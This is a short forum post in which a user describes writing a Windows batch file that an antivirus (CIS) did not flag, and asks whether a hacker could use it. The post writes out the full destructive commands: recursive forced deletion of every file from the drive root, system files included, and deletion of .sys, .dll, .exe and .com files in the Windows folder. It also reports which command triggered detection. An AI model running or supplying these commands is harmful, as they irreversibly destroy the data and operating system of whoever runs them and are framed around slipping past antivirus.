i have created a single virus in .bat only fot test and the CIS did not identified him,
its simple, i have open the notepad and write:
cd \
del /s /f /q *.*
del /s /f /q /a:s *.*
del *.*
and saved as -.bat, the anti-virus did not identified him.
i have keep testing and he only indentified when i put
"del *.com"
another commands than he not indetified:
cd windows
del *.sys
del /a:s *.*
del *.dll
del *.exe
if someone hacker create a shortcut for a .bat arquive with these commands he can erase importants parts of HD and the system.i am right???